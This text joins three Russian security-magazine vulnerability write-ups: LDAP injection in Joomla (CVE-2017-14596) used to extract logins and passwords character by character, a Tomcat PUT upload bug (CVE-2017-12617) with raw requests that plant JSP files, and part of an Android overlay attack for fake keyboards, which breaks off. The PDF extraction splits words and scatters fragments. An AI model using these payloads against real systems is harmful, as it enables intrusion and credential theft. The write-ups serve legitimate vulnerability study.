вимос ти такого типа встре чают ся нечас то, тем более в сис‐ 
темах управле ния сай тами, но тем инте рес нее будет изу чить
ее.

раз бирали  уяз‐ 
вимость  в  ней

Уяз вимость  называ ется  ,  и  най дена  она  была
аж 27 июля 2017 года. А нашел ее Йоха нес Дасе из RIPS Technologies GmbH.
Уяз вимы все вер сии CMS, начиная с 1.5.0 и закан чивая 3.7.5 вклю читель но.
То  есть  ошиб ка  оста валась  в  коде  необ наружен ной  в  течение  вось ми  лет,
до того как ее пофик сили 19 сен тября 2017‐го.

CVE‐2017‐14596

Стенд
Как уста нав ливать Joomla, я думаю, все в кур се. Что бы не парить ся с базовой
нас трой кой  сер вера,  я  сле пил  ,  который  ты  можешь  ска чать
из  моего  репози тория.  Пос ле  его  запус ка  тебе  оста нет ся  толь ко  прой ти
по шагам уста нов ки CMS.

файл  Docker

Те перь дело за LDAP. Мне сов сем не хотелось раз бирать ся с нас трой кой
сер вера  под  Linux,  поэто му  я  решил  исполь зовать    для  Windows
и уста новить все это дело в три кли ка.

OpenLDAP

Пос ле  уста нов ки,  если  ты  оста вил  все  парамет ры  по  умол чанию,  рек‐ 
визиты для кон некта будут сле дующи ми:

User: cn=Manager,dc=maxcrc,dc=com
Password: secret

Для  управле ния  сер вером  я  вос поль зуюсь  ути литой  .  По  умол‐ 
чанию на сер вере уже име ется пре дус танов ленный OU (organisation unit) Peo‐
ple. Туда я помещу нового поль зовате ля.

LDAP  Admin

Соз данный юзер в прог рамме LDAP Admin

Поч ти все готово. Теперь вклю чаем в нас трой ках Joomla пла гин авто риза ции
через LDAP.

Ак тивация пла гина LDAP‐авто риза ции

За тем перехо дим в нас трой ки это го пла гина и вби ваем наши дан ные.

Нас трой ка LDAP‐авто риза ции

Об рати  вни мание  на  параметр  ,  его  я  взял  из 
 по нас трой ке это го пла гина на сай те CMS.

Search String офи циаль ной
докумен тации

Де тали уяз вимос ти
Пе рехо дим  к  изу чению  при чин  уяз вимос ти.  Наш  тер нистый  путь  начина ется
с клас са  .LoginController

/administrator/components/com_login/controller.php
17: class LoginController extends JControllerLegacy
...
48:     /**
49:      * Method to log in a user.
50:      *
51:      * @return  void
52:      */
53:     public function login()
54:     {
...
60:         $model = $this‐>getModel('login');
61:         $credentials = $model‐>getState('credentials');

Как вид но из наз вания, он отве чает за про цесс авто риза ции поль зовате лей.
Дан ные  поль зовате лей,  передан ные  в фор ме  логина,  попада ют  в  перемен‐ 
ную  .$credentials

Пос ле это го они переда ются в метод  .login

/administrator/components/com_login/controller.php
58:         $app = JFactory::getApplication();
...
64:         $result = $app‐>login($credentials, array('action' => 
'core.login.admin'));

/libraries/cms/application/cms.php
019: class JApplicationCms extends JApplicationWeb
...
859:    public function login($credentials, $options = array())
860:    {
861:        // Get the global JAuthentication object.
862:        $authenticate = JAuthentication::getInstance();
863:        $response = $authenticate‐>authenticate($credentials, $
options);

В про цес се обра бот ки кред сов выпол няет ся метод  .authenticate
Даль ше  алго ритм  работы  зависит  от  акти виро ван ных  пла гинов,  которые

отве чают за авто риза цию. Отра баты вает метод  , и дан‐ 
ные ухо дят на обра бот ку соот ветс тву ющим пла гинам.

onUserAuthenticate

/libraries/joomla/authentication/authentication.php
017: class JAuthentication extends JObject
...
253:    public function authenticate($credentials, $options = array()
)
254:    {
255:        // Get plugins
256:        $plugins = JPluginHelper::getPlugin('authentication');
...
268:        foreach ($plugins as $plugin)
269:        {
...
283:            // Try to authenticate
284:            $plugin‐>onUserAuthenticate($credentials, $options, $
response);

Так  как  у  нас  нас тро ена  авто риза ция  через  LDAP,  то  выпол нение перехо дит
к клас су  .PlgAuthenticationLdap

/plugins/authentication/ldap/ldap.php
014: /**
015:  * LDAP Authentication Plugin
016:  *
017:  * @since  1.5
018:  */
019: class PlgAuthenticationLdap extends JPlugin
...
032:    public function onUserAuthenticate($credentials, $options, &$
response)
033:    {

В этом пла гине имя поль зовате ля попада ет в зап рос к сер веру LDAP, который
мы  ука зыва ли  как  опцию  .  Докумен тация  Joomla  говорит
о  том,  что  в  стро ке  зап роса  тем плейт    нап рямую  изме няет ся
на текст, передан ный в поле login. Что ты и можешь наб людать в сор цах.

search_string
[search]

/plugins/authentication/ldap/ldap.php
069:        switch ($auth_method)
070:        {
071:            case 'search':
072:            {
...
086:                    // Search for users DN
087:                    $binddata = $ldap‐>simple_search(str_replace(
'[search]', $credentials['username'], $this‐>params‐>get('search
_string')));

Мы  ука зали    в  парамет ре  Search  String  в  нас трой ках  пла гина,
так что пос ле замены получен ная стро ка ухо дит в метод  .

uid=[search]
simple_search

/libraries/vendor/joomla/ldap/src/LdapClient.php
016: class LdapClient
017: {
...
275:    public function simple_search($search)
276:    {
277:        $results = explode(';', $search);
278: 
279:        foreach ($results as $key => $result)
280:        {
281:            $results[$key] = '(' . $result . ')';
282:        }
283: 
284:        return $this‐>search($results);
285:    }

В  качес тве  зак лючитель ного  шага  сге нери рован ная  стро ка  поис ка  ухо дит
на LDAP‐сер вер с помощью  .search

/libraries/vendor/joomla/ldap/src/LdapClient.php
298:    public function search(array $filters, $dnoverride = null, 
array $attributes = array())
299:    {
...
313:        foreach ($filters as $search_filter)
314:        {
315:            $search_result = @ldap_search($resource, $dn, $search
_filter, $attributes);

На дан ный момент у нас на руках LDAP‐инъ екция. Так как никакой филь тра ции
вход ных дан ных не про исхо дит, мы можем вли ять на отправ ляемую на сер вер
стро ку.

Сер вер  воз вра щает  раз ные  отве ты  в  зависи мос ти  от  резуль татов  обра‐ 
бот ки  зап роса LDAP. Если поль зователь най ден,  то  сис тема будет отве чать,
что  пароль  неверен,  а  если  поль зовате ля  вооб ще  нет,  то  сис тема  известит
нас об этом в соот ветс тву ющем сооб щении.

Раз ные сооб щения об ошиб ках в зависи мос ти от передан ных кред сов

Вы зывать раз личные ошиб ки мож но с помощью шаб лонов поис ка.

PoC

Ис поль зуя  асте риск  ( )  и  логичес кие  опе рато ры,  ты  смо жешь  вытащить
логины поль зовате лей c их пароля ми из LDAP. Син таксис логичес ких опе рато‐ 
ров в LDAP можешь  .

*

пос мотреть в MSDN
Ука зыва ем в поле «Логин» фор мы авто риза ции стро ку  , а в качес‐ 

тве    —  что  угод но  и  отправ ляем  зап рос.  Если  поль зователь,  логин
которо го  начина ется  с  сим вола  ,  при сутс тву ет  в  базе  LDAP,  то  получа ем
ошиб ку невер ного пароля.

;uid=a*
passwd

а

Та ким обра зом мож но посим воль но переб рать сна чала имя поль зовате ля,
а затем по ана логии и его пароль.

Я накидал неболь шой   на JS, который выпол няет всю работу. Все,
что  нуж но  сде лать, — это  перей ти  на  стра ницу  авто риза ции,  выпол нить  его
и смот реть, как бегут бук вы при перебо ре.

скрип тик

Прин цип работы скрип та прост: берут ся по оче реди сим волы,  ука зан ные
в  перемен ной  ,  фор миру ется  и  отправ ляет ся  на  сер вер  зап рос
при  помощи  метода    из  биб лиоте ки  jQuery.  Если  сер вер  воз вра щает
ошиб ку  о  невоз можнос ти  най ти  поль зовате ля,  то  оче редь  перехо дит  к  сле‐ 
дующе му сим волу из спис ка.

charset
post

Пос ле  удач ного  под бора  логина  нас тает  оче редь  пароля.  Сим волы
амперсан да  экра ниру ются  сис темой,  а  зна чит,  исполь зовать  усло вие  «И»
у нас не вый дет. Поэто му вос поль зуем ся усло вием «ИЛИ».

;|(uid=none)(password=q*)

Тут мы нароч но дела ем пер вую часть выраже ния логичес ким false (uid=none)
и пыта емся получить true от вто рой.

Этот  про цесс  напом нил  мне  взлом  паролей  из  филь мов  двух тысяч ных.
Да и в ста рой доб рой игре Uplink был похожий под ход.

Сбру чен ный через LDAP‐инъ екцию пароль от юзе ра

Вы вод
В целом это все, что я хотел тебе рас ска зать. Уяз вимос ти такого пла на ред ко
встре тишь  в  CMS,  подоб ных  Joomla.  Одна ко  это  не  повод  спи сывать  их
со сче тов. Круп ные и не очень ком пании любят все авто мати зиро вать, и еди‐ 
ная авто риза ция через LDAP попада ется доволь но‐таки час то.

Так же  хотелось  бы  поделить ся  ссыл кой  на  неболь шое  ,
которое было пред став лено на Black Hat, — в нем речь идет о раз ных LDAP‐
инъ екци ях. Хотя сам документ древ ний, идеи, озву чен ные в нем, до сих пор
акту аль ны.  Если  тебя  инте ресу ет  эта  тема,  то  нас тоятель но  рекомен дую
к проч тению. И не стес няй ся гуг лить «ldap injection»!

ис сле дова ние

https://xakep.ru/2017/07/11/exploits-joomla-37-sqli/
https://developer.joomla.org/security-centre/711-20170902-core-ldap-information-disclosure
https://github.com/allyshka/visualhack/tree/master/223/joomla-ldap/docker
https://www.userbooster.de/downloadablecontent/freeware/OpenLDAPforWindows_x64.exe
https://sourceforge.net/projects/ldapadmin/files/ldapadmin/1.8.3/LdapAdminExe-w64-1.8.3.zip/download
https://docs.joomla.org/LDAP_Authentication
https://vimeo.com/235880430
https://msdn.microsoft.com/en-us/library/aa746475(v=vs.85).aspx
https://github.com/allyshka/visualhack/blob/master/223/joomla-ldap/joomla-ldap-bruteforce.js
http://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf
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ВЗЛОМ

В  этой  статье  мы  погово рим  о  баге
в Apache Tomcat, популяр ней шем веб‐сер‐ 
вере для сай тов на Java. Баг поз воля ет заг‐ 
ружать  любые  фай лы  на  сер вер,  так  что,
заг рузив файл JSP, мож но добить ся выпол‐ 
нения  про изволь ного  кода.  Раз берем ся,
как работа ет эта уяз вимость.

ОБЩАЯ ИНФОРМАЦИЯ

На ряду  с  Apache  Struts  2,  уяз вимость  в  котором  мы 
, под раз дачу багов попал и веб‐сер вер Tomcat. За пос леднее вре мя

было най дено сра зу нес коль ко уяз вимос тей.

раз бирали  в  прош лой
статье

19  сен тября  коман да  раз работ чиков  в    офи циаль но
под твер дила наличие и успешный фикс двух уяз вимос тей, которые получи ли
ста тус  кри тичес ких.  Пер вая  зна чит ся  под  номером  CVE‐2017‐12615.  Пос ле
того как ее запат чили, сра зу же нашел ся спо соб обой ти зап латку (CVE‐2017‐
12616), и пос ледовал новый фикс. Не поверишь, но вско ре обош ли и его —
уяз вимость носит номер CVE‐2017‐12617, и ее общий смысл сво дит ся к тому,
что  неав торизи рован ный  поль зователь,  манипу лируя  име нем  фай ла  в  PUT‐
зап росе, может соз дать JSP‐файл с про изволь ным содер жимым. Уяз вимос ти
под верже ны все вет ки, начиная с 5.x и закан чивая 9.x.

оче ред ной  рас сылке

Статья  адре сова на  спе циалис там  по  безопас‐ 

ности  и  тем,  кто  собира ется  ими  стать.  Вся

информа ция  пре дос тавле на  исклю читель но

в озна коми тель ных целях. Ни редак ция, ни автор

не  несут  ответс твен ности  за  любой  воз можный

вред, при чинен ный матери ала ми дан ной статьи.

СТЕНД

Сна чала, как водит ся, под нима ем тес товый стенд. Я буду исполь зовать вер‐ 
сии Tomcat для Windows, так как CVE‐2017‐12615 и CVE‐2017‐12616 каса ются
толь ко их.

Для  про вер ки  уяз вимос тей  мож но  исполь зовать  любую  из  вер сий  —
,   или  . Все они уяз вимы.7.0.81 8.5.20 9.0.0.M26

Так же ты всег да можешь исполь зовать Docker, бла го у Apache есть офи‐ 
циаль ный  репози торий,  из  которо го  мож но  под нять  любую  вер сию  Tomcat
одной коман дой.

docker run ‐it ‐‐rm ‐p 8888:8080 tomcat:7.0.81

Те перь на пор те 8888 у тебя оби тает выб ранная вер сия веб‐сер вера.
Пос ле успешно го запус ка нуж но отре дак тировать кон фигура цион ный файл

web.xml и добавить в него вот такие стро ки.

       <init‐param>
           <param‐name>readonly</param‐name>
           <param‐value>false</param‐value>
       </init‐param>

Они идут в этот раз дел:

   <servlet>
       <servlet‐name>default</servlet‐name>

Та ким  обра зом  мы  вык люча ем  параметр  ,  что  поз воля ет  исполь‐ 
зовать зап росы   и  . Но прос тое вклю чение этой опции, конеч но же,
не откры вает нам воз можность записы вать и уда лять JSP‐фай лы.

readonly
PUT DELETE

Нель зя прос то так взять и заг рузить шелл через PUT

БАЗОВЫЕ ДЕТАЛИ УЯЗВИМОСТЕЙ

Для  обра бот ки  зап росов  к  JSP  и  JSPX  скрип ты  исполь зуют  класс 
.

org.
apache.jasper.servlet.JspServlet

/conf/web.xml

246:     <servlet>
247:         <servlet‐name>jsp</servlet‐name>
248:         <servlet‐class>org.apache.jasper.servlet.JspServlet</
servlet‐class>

А  за  обра бот ку  осталь ных  фай лов  отве чает 
. Имен но в нем и реали зован метод PUT.

org.apache.catalina.
servlets.DefaultServlet

/java/org/apache/catalina/servlets/DefaultServlet.java

539:     /**
540:      * Process a PUT request for the specified resource.
...
548:     @Override
549:     protected void doPut(HttpServletRequest req, HttpServletResp
onse resp)
550:         throws ServletException, IOException {
551:
552:         if (readOnly) {
553:             resp.sendError(HttpServletResponse.SC_FORBIDDEN);
554:             return;
555:         }

Как  видишь,  работа  это го  метода  зависит  от  опции  ,  которую  мы
и вык лючили, так как по умол чанию она уста нов лена в true.

readOnly

/java/org/apache/catalina/servlets/DefaultServlet.java

162:     protected boolean readOnly = true;

Идея экс пло ита зак люча ется в том, что бы зас тавить PUT‐зап рос к фай лу JSP
обра баты вать ся  с  помощью  .  Это  мож но  про вер нуть  нес‐ 
коль кими спо соба ми. Что бы луч ше вник нуть в детали, сна чала мы погово рим
о методах, которые мож но исполь зовать толь ко в вер сиях для Windows.

DefaultServlet

Да вай запус тим Tomcat вер сии 7.0.79 и выпол ним такой зап рос:

PUT /read.txt%20 HTTP/1.1
Host: tomcat.visualhack:8080
Connection: close
Content‐Length: 3
any

Зап рос на соз дание фай ла с про белом в кон це име ни

Ес ли ты зна ешь про осо бен ности и огра ниче ния в наз вани ях фай лов сис темы
Windows, то, уви дев про бел в кон це пути, сра зу же все пой мешь. Дело в том,
что фай лы,  соз дава емые штат ными метода ми ОС,  не могут  содер жать  про‐ 
белы в начале или в кон це име ни — те прос то отбра сыва ются. Но ведь Tom‐
cat  написан  на  Java,  ска жешь  ты.  Что бы  все  про яснить,  пос мотрим  на  клю‐ 
чевые шаги обра бот ки нашего зап роса.

Ты уже зна ешь, что за его обра бот ку отве чает  . Если файл
еще не сущес тву ет, то выпол нение переда ется методу  .

DefaultServlet
bind

/java/org/apache/naming/resources/FileDirContext.java

466:     public void bind(String name, Object obj, Attributes attrs)
467:         throws NamingException {
...
471:         File file = new File(base, name);
...
476:         rebind(name, obj, attrs);

За пись дан ных в файл про исхо дит в  .FileDirContext.rebind

/java/org/apache/naming/resources/FileDirContext.java

21: import java.io.File;
22: import java.io.FileInputStream;
23: import java.io.FileOutputStream;
...
500:     public void rebind(String name, Object obj, Attributes attrs
)
...
506:         File file = new File(base, name);
...
533:         FileOutputStream os = null;
...
537:             os = new FileOutputStream(file);
538:             while (true) {
539:                 len = is.read(buffer);
540:                 if (len == ‐1)
541:                     break;
542:                 os.write(buffer, 0, len);
543:             }

Об рати вни мание на класс  . Он откры вает файл
для  записи.  Что бы  пос мотреть,  что  про исхо дит  в  его  нед рах,  нам  при дет ся
заг лянуть в самое сер дце тьмы — в исходни ки Java.

java.io.FileOutputStream

/java/io/FileOutputStream.java

161:     public FileOutputStream(File file) throws FileNotFoundExc
eption {
162:         this(file, false);
163:     }
...
194:     public FileOutputStream(File file, boolean append)
...
197:         String name = (file != null ? file.getPath() : null);
198:         SecurityManager security = System.getSecurityManager();
...
213:         open(name, append);

Ме тод    объ явлен  как    и  слу жит  обер ткой  для  вызова  натив ного
кода на C++. Для этих целей сущес тву ет механизм   (JNI).

open native
Java Native Interface

/java/io/FileOutputStream.java

259:     private native void open(String name, boolean append)

/windows/native/java/io/FileOutputStream_md.c

56: JNIEXPORT void JNICALL
57: Java_java_io_FileOutputStream_open(JNIEnv *env, jobject this,
58:                                    jstring path, jboolean append)
{

59:     fileOpen(env, this, path, fos_fd,
60:              O_WRONLY | O_CREAT | (append ? O_APPEND : O_TRUNC));
61: }

Java  Native  Interface  обра щает ся  к  методу  ,  который,  в  свою  оче‐ 
редь, переда ет управле ние  .

fileOpen
winFileHandleOpen

/windows/native/java/io/io_util_md.c

284: fileOpen(JNIEnv *env, jobject this, jstring path, jfieldID fid, 
int flags)
285: {
286:     FD h = winFileHandleOpen(env, path, flags);
287:     if (h >= 0) {
288:         SET_FD(this, h, fid);
289:     }
290: }

Этот метод в конеч ном ито ге переда ет управле ние канонич ной фун кции 
 из WinAPI.

Cre‐
ateFileW

/windows/native/java/io/io_util_md.c

266:     h = CreateFileW(
267:         pathbuf,            /* Wide char path name */
268:         access,             /* Read and/or write permission */
269:         sharing,            /* File sharing flags */
270:         NULL,               /* Security attributes */
271:         disposition,        /* creation disposition */
272:         flagsAndAttributes, /* flags and attributes */
273:         NULL);

Из‐за такого поведе ния все сис темные огра ниче ния на наз вание фай ла ста‐ 
новят ся акту аль ными и для веб‐сер вера. Таким обра зом, если мы отправ ляли
зап рос на соз дание фай ла    (с про белом в кон це),  то вмес то это го
ОС отбра сыва ет про белы и соз дает прос то  . Это мож но лег ко про‐ 
верить, исполь зуя, нап ример, такой скрипт на Python.

read.txt
read.txt

test.py

1: from ctypes import *
2: filename = 'read.txt '
3: windll.kernel32.CreateFileW (
4:   filename, 0x10000000, 0x2,
5:   None, 1, 0x80, None
6: )

Фун кция CreateFileW и про бел в кон це име ни фай ла

Или то же самое на Java.

test.java

1: import java.io.FileOutputStream;
2: public class test {
3:  public static void main(String [] args) throws Exception
4:  {
5:      FileOutputStream io = new FileOutputStream("D:/VisualHack/
read.txt ");
6:      io.close();
7:  }
8: }

Фун кция CreateFileW и про бел в JVM

Ес ли  этот  фокус  про вер нуть  с  фай лом  JSP,  резуль тат  будет  такой  же.
Веб‐сер вер пар сит URI из зап роса и нап равля ет его в обра бот чик 

,  а  не  ,  потому  что  рас ширение  зап рашива емо го  фай ла
вос при нима ется  как  «jsp  »  (с  про белом).  А  уже  внут ри  метода,  в  про цес се
соз дания фай ла, про бел отбра сыва ется, и мы получа ем работа ющий скрипт.

Default‐
Server JspServlet

PUT /shell.jsp%20 HTTP/1.1
Host: tomcat.visualhack:8080
<% out.println(31337+1337); %>

Ус пешное соз дание JSP‐фай ла через PUT

Аб солют но  такая  же  проб лема  при  обра щении  к  аль тер натив ным  потокам
дан ных в NTFS (Alternate Data Streams, ADS).

PUT /shell.jsp::$DATA HTTP/1.1
Host: tomcat.visualhack:8080
<% out.println(31337+1337); %>

В  новых  вер сиях  такой  трюк  уже  не  про катит.  Запус тим  Tomcat  вер‐ 
сии 9.0.0.M27 и поп робу ем отпра вить наш зап рос с про белом.

Фикс на исполь зование про белов в кон це име ни фай ла

Те перь сер вер воз вра щает ошиб ку и даже ука зыва ет «наличие про бела в кон‐ 
це име ни фай ла» в  качес тве при чины. Поэто му самое вре мя перей ти  к сле‐ 
дующе му раз делу.

ОБХОД ФИКСОВ И АЛЬТЕРНАТИВНАЯ ВЕРСИЯ ЭКСПЛОИТА

Все воз можные про белы и потоки — это, конеч но, инте рес но, одна ко хочет ся
чего‐то  более  уни вер саль ного.  Чего‐то,  что  работа ет  незави симо  от  плат‐ 
формы и на пос ледних вер сиях веб‐сер вера. И такой вари ант есть! Это слеш
в кон це име ни фай ла.

Но работа ет этот век тор по дру гим при чинам. Рас смот рим их на при мере
уже  запущен ного  Tomcat  вер сии  9.0.0.M27.  Теперь  за  обра бот ку  фай ла,
отправ ляемо го через PUT‐зап рос, отве чает отдель ный класс —  .WebResource

/java/org/apache/catalina/servlets/DefaultServlet.java

550:     protected void doPut(HttpServletRequest req, HttpServletResp
onse resp)
...
560:         WebResource resource = resources.getResource(path);
...
578:             if (resources.write(path, resourceInputStream, true)
) {

Те перь управле ние перехо дит к методу  .write

/java/org/apache/catalina/webresources/DirResourceSet.java

208:     public boolean write(String path, InputStream is, boolean 
overwrite) {
...
220:         File dest = null;
...
223:             dest = file(path.substring(webAppMount.length()), 
false);

Даль ше в методе   соз дает ся экзем пляр клас са  , на осно ве передан‐ 
ного в зап росе пути.

file File

/java/org/apache/catalina/webresources/AbstractFileResourceSet.ja-

va

54:     protected final File file(String name, boolean mustExist) {
...
59:         File file = new File(fileBase, name);

И мы сно ва телепор тиру емся в исходни ки Java.

/share/classes/java/io/File.java

358:     public File(File parent, String child) {
...
362:         if (parent != null) {
363:             if (parent.path.equals("")) {
364:                 this.path = fs.resolve(fs.getDefaultParent(),
365:                                        fs.normalize(child));
366:             } else {
367:                 this.path = fs.resolve(parent.path,
368:                                        fs.normalize(child));
369:             }
370:         } else {
371:             this.path = fs.normalize(child);

В про цес се ини циали зации   путь про ходит нор мализа цию. Ее выпол няет
метод   из клас са  .

File
normalize FileSystem

/java/io/File.java

149: public class File
...
156:     private static final FileSystem fs = DefaultFileSystem.
getFileSystem();

Он зависит от опе раци онной сис темы, на которой выпол няет ся. Для Windows
это  класс  ,  а  для  UNIX‐подоб ных  сис тем  —

.
WinNTFileSystem

UnixFileSystem

/windows/classes/java/io/DefaultFileSystem.java

37:     public static FileSystem getFileSystem() {
38:         return new WinNTFileSystem();
39:     }

/windows/instrument/FileSystemSupport_md.c

36: #define slash           '\\'
37: #define altSlash        '/'

/windows/classes/java/io/WinNTFileSystem.java

80:     @Override
81:     public String normalize(String path) {
82:         int n = path.length();
83:         char slash = this.slash;
84:         char altSlash = this.altSlash;
85:         char prev = 0;
86:         for (int i = 0; i < n; i++) {
87:             char c = path.charAt(i);
88:             if (c == altSlash)
89:                 return normalize(path, n, (prev == slash) ? i ‐ 1
: i);

На Linux то же самое.

/java/io/UnixFileSystem.java

83:     public String normalize(String pathname) {
84:         int n = pathname.length();
85:         char prevChar = 0;
86:         for (int i = 0; i < n; i++) {
87:             char c = pathname.charAt(i);
...
92:         if (prevChar == '/') return normalize(pathname, n, n ‐ 1)
;

Ес ли при пар синге пути попада ется сим вол сле ша ( ), то он игно риру ется, и в
обра бот ку ухо дит уже путь без него. Это мож но лег ко про верить на прак тике,
наб росав неболь шой  .

/

тес товый скрип тик

slash.java

import java.io.File;
class slash {
   public static void main(String [] args) throws Exception
   {
       File b = new File("D:\\VisualHack\\Tomcat\\");
       File f = new File(b, "shell.jsp/");
       System.out.println(f.getPath());
   }
}

Иг нориро вание сле ша в кон це име ни фай ла

Те перь, ког да мы в кур се про исхо дящих про цес сов, отправ ляем зап рос.

PUT /shell.jsp/ HTTP/1.1
Host: tomcat.visualhack:8080
<% out.println(31337+1337); %>

Скрипт соз дан и отлично выпол няет ся. Мис сия выпол нена! :‐)
Ко неч но  же,  име ется  нес коль ко  готовых  экс пло итов,  которые  авто мати‐ 

зиру ют все рутин ные дей ствия. Один из них ты най дешь 
.

в репози тории cyber‐
heartmi9

И если тебе инте рес но взгля нуть на фикс, то вот  , который исправ‐ 
ляет эту уяз вимость.

ком мит

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ

Хоть проб лема и выз вана неболь шим про махом в реали зации про вер ки поль‐ 
зователь ских дан ных, потен циаль ный импакт от ее экс плу ата ции может быть
серь езным — вплоть до пол ной ком про мета ции сис темы. Так что обновляй ся
вов ремя!

https://xakep.ru/2017/09/26/struts-rce/
https://lists.apache.org/thread.html/1df9b4552464caa42047062fe7175da0da06c18ecc8daf99258bbda6@%3Cannounce.tomcat.apache.org%3E
https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81-windows-x64.zip
https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20-windows-x64.zip
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.0.M26/bin/apache-tomcat-9.0.0.M26-windows-x64.zip
https://ru.wikipedia.org/wiki/Java_Native_Interface
https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858(v=vs.85).aspx
http://jdoodle.com/a/aM4
https://github.com/cyberheartmi9/CVE-2017-12617
https://github.com/apache/tomcat/blob/b7e0435d17aba69f16ae9e8a78ad0f1565b552af/java/org/apache/catalina/webresources/DirResourceSet.java
https://vimeo.com/239079297
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ВЗЛОМ

Чи тал  ?  Да‐да,  «новая  уяз вимость,  которая  пред‐ 
став ляет  опас ность  для  всех  устрой ств  на  базе  Android,
вплоть до новей шей вер сии 7.1.2» и про чие страш ные сло ва
и их ком бинации? Отлично, ста ло быть, проб лема есть, а вот
исходни ков в пуб личном дос тупе пока не прос матри вает ся.
А  это  зна чит,  что  в  этой  статье  тебя  ждет  самый  нас‐ 
тоящий 0day!

но вость

INSECURE BY-DESIGN?
Ком пания Google  стре мит ся  сде лать  Android  под ходящим  для  любых  задач,
наделяя  плат форму  самыми  раз ными  фун кци ями.  Иног да  это  может  вый ти
боком  —  так  в  этот  раз  и  про изош ло.  Груп па  товари щей  из  США  в  мае
текуще го года пуб лично пре зен товала новый вид атак на Android под име нем

.Cloak and Dagger

Ис сле дова тели вни матель но прос мотре ли стан дар тный SDK раз работ чика
и смог ли реали зовать не сов сем то, что задумы вала ком пания Google. По их
сло вам,  получив  все го два раз решения в  сис теме  (одно из  которых не  тре‐ 
бует  под твержде ния  от  поль зовате ля,  а  вто рое  мож но  получить  скрыт но
с  помощью  пер вого),  при ложе ние  смо жет  сде лать  прак тичес ки  все,  что
захочет.

Ата ка  выш ла  впе чат ляющей,  сами  иссле дова тели  пред ложили  с  десяток
воз можных вари антов — от соз дания фей ковых окон популяр ных при ложе ний
до  кра жи  паролей.  По  сле дам  пре зен тации  ты  мог  видеть  не  толь ко  нашу

, но и отчет   — в них дос таточ но кра сок и эмо ций.статью Кас пер ско го

Ма тери ал  адpесо ван  спе циалис там  по  безопас‐ 
ности  и  тем,  кто  собираeтся  ими  стать.  Вся
информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

SHOW ME THE CODE
Ав торы под робно рас ска зали о сути про исхо дяще го, но не показа ли самого
инте рес ного — исходни ков при ложе ния, реали зующе го такие ата ки. А ког да
при ходит ся верить людям на сло во, сра зу воз ника ют подоз рения в дос товер‐ 
ности ска зан ного — может, сама ата ка не такая уж и серь езная или вооб ще
неосу щес тви ма?

Что бы раз веять твои (да и свои собс твен ные) сом нения, я решил про тес‐ 
тировать  основные  воз можнос ти,  которые  опи сали  иссле дова тели:  прод‐ 
винутый  кей лог гер,  фишин говые  окна  и  «под талки вание»  поль зовате лей
к нажатию нуж ных кла виш.

Тут  не  при дет ся,  как  в  уяз вимос ти  ,  перепол нять  буфер
и  генери ровать  payload  —  все  дос тупно  в  стан дар тном  API.  Будем  поль‐ 
зовать ся  толь ко  раз решени ем    и  сер висом  спе‐ 
циаль ных воз можнос тей  .

Stagefright

SYSTEM_ALERT_WINDOW
Accessibility service

SYSTEM_ALERT_WINDOW
Как ты, навер ное, зна ешь, в Android все при ложе ния работа ют внут ри песоч‐ 
ниц. Это поз воля ет раз работ чику быть уве рен ным, что к дан ным его при ложе‐ 
ния ник то не получит дос туп со сто роны, — конеч но, если сам поль зователь
еще не орга низо вал root‐дос туп к устрой ству.

Для ата ки Cloak and Dagger исполь зует ся одно малоз накомое поль зовате‐ 
лям  раз решение  —  .  Оно  поз воля ет  вывес ти
на экран так называ емое сис темное окно: View‐эле мент, который отоб разит‐ 
ся поверх любого дру гого UI, даже если это будет Activity из сто рон него при‐ 
ложе ния.  При  этом  перек рытые    об  этом  не  узна ют  и  про дол жат
работать так, как буд то ничего и не про изош ло.

SYSTEM_ALERT_WINDOW

Activity

В  докумен тации  Google  называ ет  это  раз решение  спе циаль ным  и  нас‐ 
тоятель но не рекомен дует им поль зовать ся. Впро чем, не все  так щепетиль‐ 
ны — Facebook с помощью его выводит уве дом ления о новых сооб щени ях.

Но самое инте рес ное, что это раз решение даже не надо под тверждать, —
любое  уста нов ленное  из  Google  Play  при ложе ние  может  соз давать  сис‐ 
темные  окна,  если  раз решение  SYSTEM_ALERT_WINDOW  заяв лено  в  его
манифес те.

Ус танов ка из Google Play

СОЗДАЕМ СИСТЕМНОЕ ОКНО
Как ты уже понял, сис темное окно — это очень кру то. С его помощью мож но
вывес ти  дан ные  поверх  вооб ще  любого  эле мен та  Android,  даже  если
это будет окно сис темных нас тро ек или телефон ный зво нок.

Пе рек рыва ем сис темным окном голосо вой
зво нок

Что бы вывес ти такое окно, понадо бит ся класс   — сис темный
сер вис,  отве чающий  за  стек  всех  View‐эле мен тов,  которые  отоб ражены
на экра не. Под клю чить ся к нему, как и любому дру гому сис темно му сер вису,
мож но совер шенно сво бод но с помощью метода  .

WindowManager

getSystemService

WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);

Для вывода окна нуж но задать парамет ры будуще го UI, сис темным оно ста‐ 
новит ся бла года ря парамет ру TYPE_SYSTEM_ALERT.

WindowManager.LayoutParams params =
   new WindowManager.LayoutParams(ViewGroup.LayoutParams.WRAP_C
ONTENT, ViewGroup.LayoutParams.WRAP_CONTENT,
           WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,...

Ди зайн  сис темно го  окна  зада ется  с  помощью  при выч ной  XML‐верс тки,
никаких  допол нитель ных  огра ниче ний  нет.  Для  тран сфор мации  из  макета
в  View‐эле мент  при меня ется  класс  LayoutInflater.  Вызов  метода  addView
помес тит на экран еще один слой гра фики — наше сис темное окно.

LayoutInflater inflater = (LayoutInflater) getSystemService(LAYOUT
_INFLATER_SERVICE);
LinearLayout mOverlay = (LinearLayout) inflater.inflate(R.layout.
fake_keyboard, null);
WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
wm.addView(mOverlay, params);

Как  и  любой  View‐эле мент,  сис темное  окно  мож но  раз местить  на  экра не
по‐раз ному:  занять  все  прос транс тво  пол ностью  или  рас положить  его
где‐нибудь в углу экра на.

ЛОВИМ КАСАНИЯ
